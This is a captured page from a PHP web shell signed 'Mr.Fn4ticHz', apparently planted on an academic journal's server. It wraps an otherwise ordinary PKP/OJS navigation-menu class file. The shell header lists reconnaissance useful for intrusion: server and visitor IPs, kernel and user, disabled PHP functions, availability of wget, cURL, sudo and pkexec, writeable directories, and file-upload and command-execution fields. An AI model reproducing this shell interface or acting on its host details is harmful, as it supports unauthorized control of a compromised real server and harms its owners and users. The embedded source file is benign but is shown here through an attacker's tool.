Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/lib/pkp/classes/navigationMenu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/lib/pkp/classes/navigationMenu/NavigationMenuItemAssignment.inc.php
<?php

/**
 * @file classes/navigationMenu/NavigationMenuItemAssignment.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class NavigationMenuItemAssignment
 * @ingroup navigationMenu
 * @see NavigationMenuItemAssignmentDAO
 *
 * @brief Basic class describing a NavigationMenuItemAssignment. Each
 *  assignment describes a NavigationMenuItem assigned to a NavigationMenu,
 *  including it's position and if it's nested within another NavigationMenuItem
 */

class NavigationMenuItemAssignment extends DataObject {
	/** @var $navigationMenuItem NavigationMenuItem The object this assignment refers to */
	var $navigationMenuItem = null;

	/** @var $children array List of NavigationMenuItem objects nested under this one. */
	var $children = array();

	//
	// Get/set methods
	//
	/**
	 * Get menuId for this navigation menu item assignment.
	 * @return int
	 */
	public function getMenuId() {
		return $this->getData('menuId');
	}

	/**
	 * Set menuId for this navigation menu item assignment.
	 * @param $menuId int
	 */
	public function setMenuId($menuId) {
		$this->setData('menuId', $menuId);
	}

	/**
	 * Get menuItemId for this navigation menu item assignment.
	 * @return int
	 */
	public function getMenuItemId() {
		return $this->getData('menuItemId');
	}

	/**
	 * Set menuItemId for this navigation menu item assignment.
	 * @param $menuItemId int
	 */
	public function setMenuItemId($menuItemId) {
		$this->setData('menuItemId', $menuItemId);
	}

	/**
	 * Get parent menu item ID
	 * @return int
	 */
	public function getParentId() {
		return $this->getData('parentId');
	}

	/**
	 * Set parent menu item ID
	 * @param $parentId int
	 */
	public function setParentId($parentId) {
		$this->setData('parentId', $parentId);
	}

	/**
	 * Get seq for this navigation menu item.
	 * @return int
	 */
	public function getSequence() {
		return $this->getData('seq');
	}

	/**
	 * Set seq for this navigation menu item.
	 * @param $seq int
	 */
	public function setSequence($seq) {
		$this->setData('seq', $seq);
	}

	/**
	 * Get the NavigationMenuItem this assignment represents.
	 *
	 * This object is only available in some cases, when the NavigationMenuItem
	 * has been stored for re-use.
	 *
	 * @return int
	 */
	public function getMenuItem() {
		return $this->navigationMenuItem;
	}

	/**
	 * Set the NavigationMenuItem this assignment represents
	 * @param $seq int
	 */
	public function setMenuItem($obj) {
		$this->navigationMenuItem = is_a($obj, 'NavigationMenuItem') ? $obj : null;
	}

	/**
	 * Get the title of the object.
	 * @return string
	 */
	function getLocalizedTitle() {
		return $this->getLocalizedData('title');
	}

	/**
	 * Get the title of the object.
	 * @param $locale string
	 * @return string
	 */
	function getTitle($locale) {
		return $this->getData('title', $locale);
	}

	/**
	 * Set the title of the object.
	 * @param $title string
	 * @param $locale string
	 */
	function setTitle($title, $locale) {
		$this->setData('title', $title, $locale);
	}
}



Mr.F4ticHz - 2022
Mr.Fn4tcHzam